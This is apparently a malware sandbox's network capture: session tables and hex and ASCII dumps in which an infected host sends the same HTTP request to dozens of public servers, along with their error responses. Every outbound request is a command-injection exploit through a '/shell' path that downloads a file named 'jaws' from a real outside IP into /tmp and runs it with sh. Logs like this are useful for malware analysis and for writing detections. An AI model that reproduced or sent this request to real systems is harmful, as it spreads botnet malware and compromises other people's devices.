Jan 2, 2024 06:24:41.440037012 CET	506	IN	Data Raw: 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 Data Ascii: 50x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-bloc

Session ID	Source IP	Source Port	Destination IP	Destination Port
311	192.168.2.23	47606	23.194.49.16	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:41.187072039 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:41.541212082 CET	430	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 208 Expires: Tue, 02 Jan 2024 05:24:41 GMT Date: Tue, 02 Jan 2024 05:24:41 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 35 63 37 30 65 37 33 31 26 23 34 36 3b 31 37 30 34 31 37 33 30 38 31 26 23 34 36 3b 61 36 32 61 64 36 35 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.5c70e731.1704173081.a62ad65</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
312	192.168.2.23	42886	13.127.14.185	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:41.189471960 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:41.546849012 CET	401	IN	HTTP/1.1 301 Moved Permanently Server: awselb/2.0 Date: Tue, 02 Jan 2024 05:24:41 GMT Content-Type: text/html Content-Length: 134 Connection: keep-alive Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
313	192.168.2.23	55840	49.44.196.208	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:41.307799101 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:41.721411943 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Tue, 02 Jan 2024 05:24:41 GMT Date: Tue, 02 Jan 2024 05:24:41 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 63 63 63 34 32 63 33 31 26 23 34 36 3b 31 37 30 34 31 37 33 30 38 31 26 23 34 36 3b 35 64 37 38 36 39 30 30 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.ccc42c31.1704173081.5d786900</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
314	192.168.2.23	33036	18.67.255.71	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:42.963613987 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:43.206321001 CET	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Tue, 02 Jan 2024 05:24:43 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
315	192.168.2.23	42828	89.212.109.240	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:42.987046003 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
316	192.168.2.23	57888	202.43.100.113	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:43.056570053 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:43.402298927 CET	502	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Tue, 02 Jan 2024 05:24:42 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
317	192.168.2.23	60966	13.250.225.16	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:43.065655947 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:43.411479950 CET	401	IN	HTTP/1.1 301 Moved Permanently Server: awselb/2.0 Date: Tue, 02 Jan 2024 05:24:43 GMT Content-Type: text/html Content-Length: 134 Connection: keep-alive Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
318	192.168.2.23	37854	208.70.77.181	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:43.121131897 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
319	192.168.2.23	42204	34.242.70.143	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:43.208180904 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:43.457590103 CET	450	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:24:43 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.3.28 Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
320	192.168.2.23	44200	209.97.134.86	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:43.211070061 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:43.470464945 CET	296	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:24:43 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
321	192.168.2.23	42544	93.241.196.49	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:43.250962973 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:44.618568897 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:46.218282938 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:49.545770884 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:55.944863081 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:08.743067026 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:35.875246048 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
322	192.168.2.23	39924	101.42.248.240	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:43.377309084 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:43.698115110 CET	444	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:24:43 GMT Server: Apache/2.4.46 (Unix) OpenSSL/1.1.1d PHP/7.4.29 Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
323	192.168.2.23	40674	166.161.129.17	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:44.925324917 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
324	192.168.2.23	34572	57.180.62.68	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:44.984669924 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:45.257424116 CET	425	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:24:45 GMT Server: Apache/2.4.58 () PHP/5.4.16 Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
325	192.168.2.23	59276	198.154.232.242	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:45.021090031 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:45.175298929 CET	525	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:24:35 GMT Server: Apache Content-Length: 347 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><p>Additionally, a 400 Bad Requesterror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
326	192.168.2.23	41798	154.208.198.214	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:45.035887957 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:45.360543966 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 02 Jan 2024 05:24:45 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
327	192.168.2.23	32972	23.207.79.244	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:45.082175970 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:45.452538967 CET	430	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 208 Expires: Tue, 02 Jan 2024 05:24:45 GMT Date: Tue, 02 Jan 2024 05:24:45 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 34 64 30 31 63 30 34 35 26 23 34 36 3b 31 37 30 34 31 37 33 30 38 35 26 23 34 36 3b 37 35 37 33 61 35 64 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.4d01c045.1704173085.7573a5d</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
328	192.168.2.23	46374	2.16.231.225	80

Timestamp	Bytes transferred	Direction	Data
